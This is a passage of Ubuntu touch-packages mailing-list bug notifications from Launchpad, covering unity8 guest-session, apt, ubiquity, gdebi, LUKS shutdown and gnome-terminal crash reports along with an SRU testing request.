std::exception::what: Nested Mir Platform Connection Error: Failed to connect to server socket: Permission denied [2016-11-23:15:59:35.820] ERROR: QMirServer - Mir failed to start initctl: No such variable: UNITY_MIR_SOCKET running current zesty, but I had the same problem on yakkety too. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/unity8/+bug/1644237/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1644244] Re: error
need help ** Changed in: apt (Ubuntu) Status: New => Incomplete ** Changed in: apt (Ubuntu) Status: Incomplete => In Progress ** Changed in: apt (Ubuntu) Assignee: (unassigned) => KimbroVargas (wolfieredmoon) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/1644244 Title: error Status in apt package in Ubuntu: In Progress Bug description: N: Ignoring file '20auto-upgrades.ucf-dist' in directory '/etc/apt/apt.conf.d/' as it has an invalid filename extension N: Ignoring file 'getdeb.list.bck' in directory '/etc/apt/sources.list.d/' as it has an invalid filename extension E: The package secondlife needs to be reinstalled, but I can't find an archive for it. multiverse restricted main' #Added by software-properties kimbro-vargas@kimbro-vargas-HP-Pavilion-dv5-Notebook-PC:~$ sudo dpkg --audit The following packages are in a mess due to serious problems during installation. They must be reinstalled for them (and any packages that depend on them) to function properly: secondlife SecondLife client how do I fix it To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1644244/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1611010] Re: yakkety desktop - non-english installation crashes with /plugininstall.py: ValueError: invalid literal for int() with base 10: ''
** Description changed: Enviroment: Ubuntu 16.10.5 Yakkety Yak http://cdimage.ubuntu.com/daily- live/current/ HW: Toshiba portege Z30-A12T | Intel i5+intel graphics | SSD hd Preconditions: W10+Xenial xerus installed, internet connection, 3rd party sw and updates selected + [Impact] + Breaks installation in some non-English locales. + + [Test case] Steps to reproduce: 1º Click something else on Installation type screen>select /dev/sdaX where Xenial is installed, use it to mount / and leave some space to create the /home partition(ext4) 2º Then click back and select erase ubuntu 16.04.1 and install Yakkety 3º Installation starts Current result: After a little time installing it crashes and a window shows up to let the user know that some info is being gathered to send it to developers, and finally firefox opens on the bug report web on ubiquity package Expected result: No crashes during installation + + [Regression potential] + Very low, we're running this in 1.3 since a long time. ProblemType: Bug DistroRelease: Ubuntu 16.10 Package: ubiquity 16.10.5 ProcVersionSignature: Ubuntu 4.4.0-33.52-generic 4.4.15 Uname: Linux 4.4.0-33-generic x86_64 ApportVersion: 2.20.3-0ubuntu5 Architecture: amd64 CasperVersion: 1.376 Date: Mon Aug 8 15:50:56 2016 InstallCmdLine: file=/cdrom/preseed/ubuntu.seed boot=casper initrd=/casper/initrd.lz quiet splash --- maybe-ubiquity LiveMediaBuild: Ubuntu 16.10 "Yakkety Yak" - Alpha amd64 (20160808) ProcEnviron: LANGUAGE=es_ES.UTF-8 PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=es_ES.UTF-8 SourcePackage: ubiquity UpgradeStatus: No upgrade log present (probably fresh install) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/1611010 Title: yakkety desktop - non-english installation crashes with /plugininstall.py: ValueError: invalid literal for int() with base 10: '' Status in apt package in Ubuntu: Fix Released Status in ubiquity package in Ubuntu: Fix Released Status in apt source package in Xenial: In Progress Status in ubiquity source package in Xenial: Triaged Bug description: Enviroment: Ubuntu 16.10.5 Yakkety Yak http://cdimage.ubuntu.com /daily-live/current/ HW: Toshiba portege Z30-A12T | Intel i5+intel graphics | SSD hd Preconditions: W10+Xenial xerus installed, internet connection, 3rd party sw and updates selected [Impact] Breaks installation in some non-English locales. [Test case] Steps to reproduce: 1º Click something else on Installation type screen>select /dev/sdaX where Xenial is installed, use it to mount / and leave some space to create the /home partition(ext4) 2º Then click back and select erase ubuntu 16.04.1 and install Yakkety 3º Installation starts Current result: After a little time installing it crashes and a window shows up to let the user know that some info is being gathered to send it to developers, and finally firefox opens on the bug report web on ubiquity package Expected result: No crashes during installation [Regression potential] Very low, we're running this in 1.3 since a long time. The fix depends on another one that restricts the Date parser to accept only UTC time zones in Release files, though (we do not understand the other ones anyway), and thus might reject some repositories it silently accepted in a wrong way previously (we have not seen anyone report a regression yet since uploading that in June). ProblemType: Bug DistroRelease: Ubuntu 16.10 Package: ubiquity 16.10.5 ProcVersionSignature: Ubuntu 4.4.0-33.52-generic 4.4.15 Uname: Linux 4.4.0-33-generic x86_64 ApportVersion: 2.20.3-0ubuntu5 Architecture: amd64 CasperVersion: 1.376 Date: Mon Aug 8 15:50:56 2016 InstallCmdLine: file=/cdrom/preseed/ubuntu.seed boot=casper initrd=/casper/initrd.lz quiet splash --- maybe-ubiquity LiveMediaBuild: Ubuntu 16.10 "Yakkety Yak" - Alpha amd64 (20160808) ProcEnviron: LANGUAGE=es_ES.UTF-8 PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=es_ES.UTF-8 SourcePackage: ubiquity UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1611010/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1593583] Re: Invalid 'Date' entry in Release file /var/lib/apt/lists/partial/archive.ubuntu.com_ubuntu_dists_yakkety-proposed_InRelease
** Description changed: Continuously get that warning when using synaptic to reload the sources. This happen with apt 1.3-exp2 only. This seems a regression as per that old report: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=809329 ProblemType: Bug DistroRelease: Ubuntu 16.10 Package: apt 1.3~exp2 ProcVersionSignature: Ubuntu 4.6.0-7.8-generic 4.6.0 Uname: Linux 4.6.0-7-generic x86_64 NonfreeKernelModules: nvidia_uvm nvidia_modeset nvidia ApportVersion: 2.20.1-0ubuntu4 Architecture: amd64 CurrentDesktop: GNOME Date: Fri Jun 17 08:19:22 2016 SourcePackage: apt UpgradeStatus: No upgrade log present (probably fresh install) + + For the SRU: + + [Impact] + Prevent adding this regression to 1.2.16 + [Test case] + Parse (Release file with) date where hour is single digit + [Regression potential] + Should be very low, we are running this in yakkety too, and in Debian since quite some time. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/1593583 Title: Invalid 'Date' entry in Release file /var/lib/apt/lists/partial/archive.ubuntu.com_ubuntu_dists_yakkety- proposed_InRelease Status in apt package in Ubuntu: Fix Released Status in apt source package in Yakkety: New Bug description: Continuously get that warning when using synaptic to reload the sources. This happen with apt 1.3-exp2 only. This seems a regression as per that old report: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=809329 ProblemType: Bug DistroRelease: Ubuntu 16.10 Package: apt 1.3~exp2 ProcVersionSignature: Ubuntu 4.6.0-7.8-generic 4.6.0 Uname: Linux 4.6.0-7-generic x86_64 NonfreeKernelModules: nvidia_uvm nvidia_modeset nvidia ApportVersion: 2.20.1-0ubuntu4 Architecture: amd64 CurrentDesktop: GNOME Date: Fri Jun 17 08:19:22 2016 SourcePackage: apt UpgradeStatus: No upgrade log present (probably fresh install) For the SRU: [Impact] Prevent adding this regression to 1.2.16 [Test case] Parse (Release file with) date where hour is single digit [Regression potential] Should be very low, we are running this in yakkety too, and in Debian since quite some time. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1593583/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1592817] Re: gdebi-gtk crashed with ValueError in update_interface(): could not convert string to float: '0, 0000'
** Description changed: Errors Bucket - https://errors.ubuntu.com/problem/31a80b4c477107c659b93a4277ed46c14a3c8c53 and https://errors.ubuntu.com/problem/c349b36522b1d43e2604357f75f0215fdafe1c7a - Gdebi crashed while installing Google Chrome .deb-fil bur the error - didn't appear until I logged out and back in again + [Impact] + Crashes of gdebi (and possibly other tools) in non-English locales which use 1,0 or similar instead of 1.0 + + [Test case] + Install a deb package with gdebi, like Google Chrome, in such a locale. + + Original: Gdebi crashed while installing Google Chrome .deb-fil bur the + error didn't appear until I logged out and back in again + + [Regression potential] + Same as bug 1611010 - very low. + ProblemType: CrashDistroRelease: Ubuntu 16.10 Package: gdebi 0.9.5.7ubuntu1 ProcVersionSignature: Ubuntu 4.4.0-25.44-generic 4.4.13 Uname: Linux 4.4.0-25-generic x86_64 NonfreeKernelModules: nvidia_uvm nvidia_modeset nvidia ApportVersion: 2.20.1-0ubuntu4 Architecture: amd64 Date: Wed Jun 15 15:01:11 2016 ExecutablePath: /usr/share/gdebi/gdebi-gtk InstallationDate: Installed on 2016-06-15 (0 days ago) InstallationMedia: Ubuntu 16.10 "Yakkety Yak" - Alpha amd64 (20160511) InterpreterPath: /usr/bin/python3.5 PackageArchitecture: all ProcCmdline: /usr/bin/python3 /usr/bin/gdebi-gtk --non-interactive /media/jimmy/Seagate\ Backup\ Plus\ Drive/Browser/google-chrome-stable_51.0.2704.79-1_amd64.deb ProcEnviron: PATH=(custom, no user) LANG=da_DK.UTF-8 LANGUAGE=da SHELL=/bin/bash TERM=unknown PythonArgs: ['/usr/bin/gdebi-gtk', '--non-interactive', '/media/jimmy/Seagate Backup Plus Drive/Browser/google-chrome-stable_51.0.2704.79-1_amd64.deb']SourcePackage: gdebi Title: gdebi-gtk crashed with ValueError in update_interface(): could not convert string to float: '0,' UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/1592817 Title: gdebi-gtk crashed with ValueError in update_interface(): could not convert string to float: '0,' Status in apt package in Ubuntu: Fix Released Status in gdebi package in Ubuntu: Confirmed Status in apt source package in Xenial: In Progress Status in gdebi source package in Xenial: Confirmed Bug description: Errors Bucket - https://errors.ubuntu.com/problem/31a80b4c477107c659b93a4277ed46c14a3c8c53 and https://errors.ubuntu.com/problem/c349b36522b1d43e2604357f75f0215fdafe1c7a [Impact] Crashes of gdebi (and possibly other tools) in non-English locales which use 1,0 or similar instead of 1.0 [Test case] Install a deb package with gdebi, like Google Chrome, in such a locale. Original: Gdebi crashed while installing Google Chrome .deb-fil bur the error didn't appear until I logged out and back in again [Regression potential] Same as bug 1611010 - very low. ProblemType: CrashDistroRelease: Ubuntu 16.10 Package: gdebi 0.9.5.7ubuntu1 ProcVersionSignature: Ubuntu 4.4.0-25.44-generic 4.4.13 Uname: Linux 4.4.0-25-generic x86_64 NonfreeKernelModules: nvidia_uvm nvidia_modeset nvidia ApportVersion: 2.20.1-0ubuntu4 Architecture: amd64 Date: Wed Jun 15 15:01:11 2016 ExecutablePath: /usr/share/gdebi/gdebi-gtk InstallationDate: Installed on 2016-06-15 (0 days ago) InstallationMedia: Ubuntu 16.10 "Yakkety Yak" - Alpha amd64 (20160511) InterpreterPath: /usr/bin/python3.5 PackageArchitecture: all ProcCmdline: /usr/bin/python3 /usr/bin/gdebi-gtk --non-interactive /media/jimmy/Seagate\ Backup\ Plus\ Drive/Browser/google-chrome-stable_51.0.2704.79-1_amd64.deb ProcEnviron: PATH=(custom, no user) LANG=da_DK.UTF-8 LANGUAGE=da SHELL=/bin/bash TERM=unknown PythonArgs: ['/usr/bin/gdebi-gtk', '--non-interactive', '/media/jimmy/Seagate Backup Plus Drive/Browser/google-chrome-stable_51.0.2704.79-1_amd64.deb']SourcePackage: gdebi Title: gdebi-gtk crashed with ValueError in update_interface(): could not convert string to float: '0,' UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1592817/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1644237] Re: unity8 fails to start as guest user
The "Permission denied" error suggests the apparmor profile, or whatever else lightdm is doing special to the guest session, is the reason for this failure. Can you check in syslog if you have a DENIED message from apparmor? ** Also affects: lightdm (Ubuntu) Importance: Undecided Status: New ** Changed in: unity8 (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity8 in Ubuntu. https://bugs.launchpad.net/bugs/1644237 Title: unity8 fails to start as guest user Status in lightdm package in Ubuntu: New Status in unity8 package in Ubuntu: Incomplete Status in unity8-desktop-session package in Ubuntu: New Bug description: This is shown in unity8.log: [2016-11-23 15:59:25.820868] mirserver: Starting ERROR: /build/mir-JY573_/mir-0.24.1+16.10.20160928/src/server/graphics/default_configuration.cpp(132): Throw in function mir::DefaultServerConfiguration::the_graphics_platform():: Dynamic exception type: boost::exception_detail::clone_impl > std::exception::what: Exception while creating graphics platform ERROR: /build/mir-JY573_/mir-0.24.1+16.10.20160928/src/server/graphics/nested/mir_client_host_connection.cpp(245): Throw in function mir::graphics::nested::MirClientHostConnection::MirClientHostConnection(const string&, const string&, const std::shared_ptr&) Dynamic exception type: boost::exception_detail::clone_impl > std::exception::what: Nested Mir Platform Connection Error: Failed to connect to server socket: Permission denied [2016-11-23:15:59:35.820] ERROR: QMirServer - Mir failed to start initctl: No such variable: UNITY_MIR_SOCKET running current zesty, but I had the same problem on yakkety too. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/lightdm/+bug/1644237/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1611010] Re: yakkety desktop - non-english installation crashes with /plugininstall.py: ValueError: invalid literal for int() with base 10: ''
** Description changed: Enviroment: Ubuntu 16.10.5 Yakkety Yak http://cdimage.ubuntu.com/daily- live/current/ HW: Toshiba portege Z30-A12T | Intel i5+intel graphics | SSD hd Preconditions: W10+Xenial xerus installed, internet connection, 3rd party sw and updates selected [Impact] Breaks installation in some non-English locales. [Test case] Steps to reproduce: 1º Click something else on Installation type screen>select /dev/sdaX where Xenial is installed, use it to mount / and leave some space to create the /home partition(ext4) 2º Then click back and select erase ubuntu 16.04.1 and install Yakkety 3º Installation starts Current result: After a little time installing it crashes and a window shows up to let the user know that some info is being gathered to send it to developers, and finally firefox opens on the bug report web on ubiquity package Expected result: No crashes during installation [Regression potential] - Very low, we're running this in 1.3 since a long time. + Very low, we're running this in 1.3 since a long time. The fix depends on another one that restricts the Date parser to accept only UTC time zones in Release files, though (we do not understand the other ones anyway), and thus might reject some repositories it silently accepted in a wrong way previously. ProblemType: Bug DistroRelease: Ubuntu 16.10 Package: ubiquity 16.10.5 ProcVersionSignature: Ubuntu 4.4.0-33.52-generic 4.4.15 Uname: Linux 4.4.0-33-generic x86_64 ApportVersion: 2.20.3-0ubuntu5 Architecture: amd64 CasperVersion: 1.376 Date: Mon Aug 8 15:50:56 2016 InstallCmdLine: file=/cdrom/preseed/ubuntu.seed boot=casper initrd=/casper/initrd.lz quiet splash --- maybe-ubiquity LiveMediaBuild: Ubuntu 16.10 "Yakkety Yak" - Alpha amd64 (20160808) ProcEnviron: LANGUAGE=es_ES.UTF-8 PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=es_ES.UTF-8 SourcePackage: ubiquity UpgradeStatus: No upgrade log present (probably fresh install) ** Description changed: Enviroment: Ubuntu 16.10.5 Yakkety Yak http://cdimage.ubuntu.com/daily- live/current/ HW: Toshiba portege Z30-A12T | Intel i5+intel graphics | SSD hd Preconditions: W10+Xenial xerus installed, internet connection, 3rd party sw and updates selected [Impact] Breaks installation in some non-English locales. [Test case] Steps to reproduce: 1º Click something else on Installation type screen>select /dev/sdaX where Xenial is installed, use it to mount / and leave some space to create the /home partition(ext4) 2º Then click back and select erase ubuntu 16.04.1 and install Yakkety 3º Installation starts Current result: After a little time installing it crashes and a window shows up to let the user know that some info is being gathered to send it to developers, and finally firefox opens on the bug report web on ubiquity package Expected result: No crashes during installation [Regression potential] - Very low, we're running this in 1.3 since a long time. The fix depends on another one that restricts the Date parser to accept only UTC time zones in Release files, though (we do not understand the other ones anyway), and thus might reject some repositories it silently accepted in a wrong way previously. + Very low, we're running this in 1.3 since a long time. The fix depends on another one that restricts the Date parser to accept only UTC time zones in Release files, though (we do not understand the other ones anyway), and thus might reject some repositories it silently accepted in a wrong way previously (we have not seen anyone report a regression yet since uploading that in June). ProblemType: Bug DistroRelease: Ubuntu 16.10 Package: ubiquity 16.10.5 ProcVersionSignature: Ubuntu 4.4.0-33.52-generic 4.4.15 Uname: Linux 4.4.0-33-generic x86_64 ApportVersion: 2.20.3-0ubuntu5 Architecture: amd64 CasperVersion: 1.376 Date: Mon Aug 8 15:50:56 2016 InstallCmdLine: file=/cdrom/preseed/ubuntu.seed boot=casper initrd=/casper/initrd.lz quiet splash --- maybe-ubiquity LiveMediaBuild: Ubuntu 16.10 "Yakkety Yak" - Alpha amd64 (20160808) ProcEnviron: LANGUAGE=es_ES.UTF-8 PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=es_ES.UTF-8 SourcePackage: ubiquity UpgradeStatus: No upgrade log present (probably fresh install) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/1611010 Title: yakkety desktop - non-english installation crashes with /plugininstall.py: ValueError: invalid literal for int() with base 10: '' Status in apt package in Ubuntu: Fix Released Status in ubiquity package in Ubuntu: Fix Released Status in apt source package in Xenial: In Progress Status in ubiquity source package in Xenial: Triaged Bug description: Enviroment: Ubuntu 16.10.5 Yakkety Yak http://cdima
[Touch-packages] [Bug 1554795] Re: timeout on restart or shutdown with LUKS root
I'm curious about these two status changes: Changed in systemd (Ubuntu): status: Confirmed → Fix Released Changed in initramfs-tools (Ubuntu): status: Confirmed → Fix Committed Would it be possible to have pointers to the commit(s) that fixed this? Thanks! -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to initramfs-tools in Ubuntu. https://bugs.launchpad.net/bugs/1554795 Title: timeout on restart or shutdown with LUKS root Status in initramfs-tools package in Ubuntu: Fix Committed Status in systemd package in Ubuntu: Fix Released Bug description: Using the server install ISO, it's possible to specify root on LUKS and variations thereof - for instance, root on LUKS on MD-RAID, root on LVM on LUKS on MD-RAID, and so forth. The installer does the right thing and initramfs-tools does everything necessary to support booting this sort of thing. However, systemd gives a 90-second timeout on restart or shutdown, presumably because it cannot dispose of the things beneath root. It's wholly unclear to me where the 90-second timeout is specified, should I wish to shorten it to reboot without the futile delay, but more to the point, there seems to be infrastructure for handling this kind of situation that doesn't exist in Ubuntu at present. I was pointed at this: https://www.freedesktop.org/wiki/Software/systemd/InitrdInterface/ However, Ubuntu seems not to have anything in its initramfs-tools to facilitate "shutdown-initrd" functionality. I haven't tested this, but I suspect this problem will exist for folks running root on MD-RAID without the LUKS as well. Either way, a relatively common vanilla install will force 90-second timeouts on users, which is unfortunate. ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: systemd 229-2ubuntu1 [modified: usr/share/dbus-1/system-services/org.freedesktop.systemd1.service] ProcVersionSignature: Ubuntu 4.4.0-11.26-generic 4.4.4 Uname: Linux 4.4.0-11-generic x86_64 NonfreeKernelModules: zfs zunicode zcommon znvpair zavl nvidia_uvm nvidia_modeset nvidia ApportVersion: 2.20-0ubuntu3 Architecture: amd64 Date: Tue Mar 8 18:06:45 2016 InstallationDate: Installed on 2016-02-24 (13 days ago) InstallationMedia: Ubuntu-Server 16.04 LTS "Xenial Xerus" - Alpha amd64 (20160219) Lsusb: Bus 002 Device 002: ID 1058:0820 Western Digital Technologies, Inc. My Passport Ultra (WDBMWV, WDBZFP) Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 046d:c408 Logitech, Inc. Marble Mouse (4-button) Bus 001 Device 002: ID 046d:c318 Logitech, Inc. Illuminated Keyboard Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: Gigabyte Technology Co., Ltd. To be filled by O.E.M. ProcEnviron: TERM=xterm-color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.4.0-11-generic.efi.signed root=/dev/mapper/hostname-root ro net.ifnames=0 biosdevname=0 SourcePackage: systemd SystemdDelta: [EXTENDED] /lib/systemd/system/systemd-timesyncd.service → /lib/systemd/system/systemd-timesyncd.service.d/disable-with-time-daemon.conf [EXTENDED] /lib/systemd/system/rc-local.service → /lib/systemd/system/rc-local.service.d/debian.conf 2 overridden configuration files found. UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 12/04/2015 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: F1 dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: X150M-PRO ECC-CF dmi.board.vendor: Gigabyte Technology Co., Ltd. dmi.board.version: x.x dmi.chassis.asset.tag: To Be Filled By O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: To Be Filled By O.E.M. dmi.chassis.version: To Be Filled By O.E.M. dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrF1:bd12/04/2015:svnGigabyteTechnologyCo.,Ltd.:pnTobefilledbyO.E.M.:pvrTobefilledbyO.E.M.:rvnGigabyteTechnologyCo.,Ltd.:rnX150M-PROECC-CF:rvrx.x:cvnToBeFilledByO.E.M.:ct3:cvrToBeFilledByO.E.M.: dmi.product.name: To be filled by O.E.M. dmi.product.version: To be filled by O.E.M. dmi.sys.vendor: Gigabyte Technology Co., Ltd. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/initramfs-tools/+bug/1554795/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1637333] Re: gnome-terminal crashes when tab is dragged onto another tab's terminal area
Upstream thinks this is a GTK+ bug, hence I'm adding gtk+ to this bug. ** Also affects: gtk+3.0 (Ubuntu) Importance: Undecided Status: New ** Also affects: gtk via https://bugzilla.gnome.org/show_bug.cgi?id=767588 Importance: Unknown Status: Unknown ** Also affects: gnome-terminal via https://bugzilla.gnome.org/show_bug.cgi?id=767588 Importance: Unknown Status: Unknown ** No longer affects: gnome-terminal ** Also affects: gnome-terminal via https://bugzilla.gnome.org/show_bug.cgi?id=769161 Importance: Unknown Status: Unknown -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gtk+3.0 in Ubuntu. https://bugs.launchpad.net/bugs/1637333 Title: gnome-terminal crashes when tab is dragged onto another tab's terminal area Status in GNOME Terminal: Unknown Status in GTK+: Unknown Status in gnome-terminal package in Ubuntu: Confirmed Status in gtk+3.0 package in Ubuntu: New Bug description: This bug occurs when I drag an existing terminal tab out of the tab bar and drop it onto the text area of the open terminal. Usually occurs by accident, to be honest (when I don't mean to drag the tab at all, for instance) but it's 100% reproducible intentionally. I found several old bug reports on similar issues, but they were either not detailed enough to figure out if they were exactly the same or were closed as duplicates of a bug that no longer exists (https://bugs.launchpad.net/ubuntu/+source/gnome- terminal/+bug/1442826). Apport generated a report (title: gnome-terminal-server crashed with SIGABRT in g_assertion_message()) for me and then helpfully explained that the bug had already been filed. It redirected me to a bug that doesn't exist (https://bugs.launchpad.net/bugs/1595907) though, so I'm refiling it here. 1. Ubuntu release: spyro@julep:~$ lsb_release -rd Description: Ubuntu 16.04.1 LTS Release: 16.04 2. Package version: spyro@julep:~$ apt-cache policy gnome-terminal gnome-terminal: Installed: 3.20.2-1ubuntu3~ubuntu16.04.1 Candidate: 3.20.2-1ubuntu3~ubuntu16.04.1 Version table: *** 3.20.2-1ubuntu3~ubuntu16.04.1 500 500 http://ppa.launchpad.net/gnome3-team/gnome3-staging/ubuntu xenial/main amd64 Packages 100 /var/lib/dpkg/status 3.18.3-1ubuntu1 500 500 http://us.archive.ubuntu.com/ubuntu xenial/main amd64 Packages spyro@julep:~$ 3. Expected behavior: Tab should split into a new window (as it does if you drop it onto someplace that's not a gnome-terminal window). At the worst, it should go back to where it was on the tab bar instead of crashing. 4. Actual behavior: The whole gnome-terminal window crashes, losing any activity or work on other tabs. Other open gnome-terminal windows also crash and close. From /var/log/syslog: Oct 27 14:54:03 julep org.gnome.Terminal[2217]: (gnome-terminal-server:30721): G Lib-GObject-CRITICAL **: g_object_ref: assertion 'G_IS_OBJECT (object)' failed Oct 27 14:54:03 julep org.gnome.Terminal[2217]: (gnome-terminal-server:30721): G tk-CRITICAL **: gtk_container_get_focus_child: assertion 'GTK_IS_CONTAINER (cont ainer)' failed Oct 27 14:54:03 julep org.gnome.Terminal[2217]: (gnome-terminal-server:30721): G Lib-GObject-CRITICAL **: g_object_unref: assertion 'G_IS_OBJECT (object)' failed Oct 27 14:54:03 julep org.gnome.Terminal[2217]: (gnome-terminal-server:30721): G tk-CRITICAL **: gtk_container_get_focus_child: assertion 'GTK_IS_CONTAINER (cont ainer)' failed Oct 27 14:54:03 julep org.gnome.Terminal[2217]: ** Oct 27 14:54:03 julep org.gnome.Terminal[2217]: Gtk:ERROR:/build/gtk+3.0-j0Vp0u/ gtk+3.0-3.20.8/./gtk/gtkwidget.c:5830:gtk_widget_get_frame_clock: assertion fail ed: (window != NULL) Oct 27 14:54:06 julep /usr/lib/gdm3/gdm-x-session[2197]: Activating service name ='org.gnome.Contacts.SearchProvider' Oct 27 14:54:06 julep /usr/lib/gdm3/gdm-x-session[2197]: Activating service name ='org.gnome.Documents' Oct 27 14:54:06 julep /usr/lib/gdm3/gdm-x-session[2197]: Activating service name ='org.gnome.Nautilus' I've also saved the apport-generated crash report if that would be helpful to upload. To manage notifications about this bug go to: https://bugs.launchpad.net/gnome-terminal/+bug/1637333/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1644237] Re: unity8 fails to start as guest user
Err, I meant Unity *8* on the desktop:) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity8 in Ubuntu. https://bugs.launchpad.net/bugs/1644237 Title: unity8 fails to start as guest user Status in lightdm package in Ubuntu: Confirmed Status in unity8 package in Ubuntu: Incomplete Status in unity8-desktop-session package in Ubuntu: Confirmed Bug description: This is shown in unity8.log: [2016-11-23 15:59:25.820868] mirserver: Starting ERROR: /build/mir-JY573_/mir-0.24.1+16.10.20160928/src/server/graphics/default_configuration.cpp(132): Throw in function mir::DefaultServerConfiguration::the_graphics_platform():: Dynamic exception type: boost::exception_detail::clone_impl > std::exception::what: Exception while creating graphics platform ERROR: /build/mir-JY573_/mir-0.24.1+16.10.20160928/src/server/graphics/nested/mir_client_host_connection.cpp(245): Throw in function mir::graphics::nested::MirClientHostConnection::MirClientHostConnection(const string&, const string&, const std::shared_ptr&) Dynamic exception type: boost::exception_detail::clone_impl > std::exception::what: Nested Mir Platform Connection Error: Failed to connect to server socket: Permission denied [2016-11-23:15:59:35.820] ERROR: QMirServer - Mir failed to start initctl: No such variable: UNITY_MIR_SOCKET running current zesty, but I had the same problem on yakkety too. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/lightdm/+bug/1644237/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1619600] Re: [SRU] New stable release 1.8.3
Hello Iain, or anyone else affected, Accepted gst-plugins-bad1.0 into yakkety-proposed. The package will build now and be available at https://launchpad.net/ubuntu/+source/gst- plugins-bad1.0/1.8.3-1ubuntu0.2 in a few hours, and then in the -proposed repository. Please help us by testing this new package. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Your feedback will aid us getting this update out to other Ubuntu users. If this package fixes the bug for you, please add a comment to this bug, mentioning the version of the package you tested, and change the tag from verification-needed to verification-done. If it does not fix the bug for you, please add a comment stating that, and change the tag to verification-failed. In either case, details of your testing will help us make a better decision. Further information regarding the verification process can be found at https://wiki.ubuntu.com/QATeam/PerformingSRUVerification . Thank you in advance! ** Changed in: gst-plugins-bad1.0 (Ubuntu Yakkety) Status: New => Fix Committed ** Tags removed: verification-failed ** Tags added: verification-needed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gst-plugins-bad1.0 in Ubuntu. https://bugs.launchpad.net/bugs/1619600 Title: [SRU] New stable release 1.8.3 Status in gst-libav1.0 package in Ubuntu: Fix Released Status in gst-plugins-bad1.0 package in Ubuntu: Fix Released Status in gst-plugins-base1.0 package in Ubuntu: Fix Released Status in gst-plugins-good1.0 package in Ubuntu: Fix Released Status in gst-plugins-ugly1.0 package in Ubuntu: Fix Released Status in gstreamer-vaapi package in Ubuntu: Fix Released Status in gstreamer1.0 package in Ubuntu: Fix Released Status in gst-libav1.0 source package in Xenial: Fix Committed Status in gst-plugins-bad1.0 source package in Xenial: Fix Committed Status in gst-plugins-base1.0 source package in Xenial: Fix Committed Status in 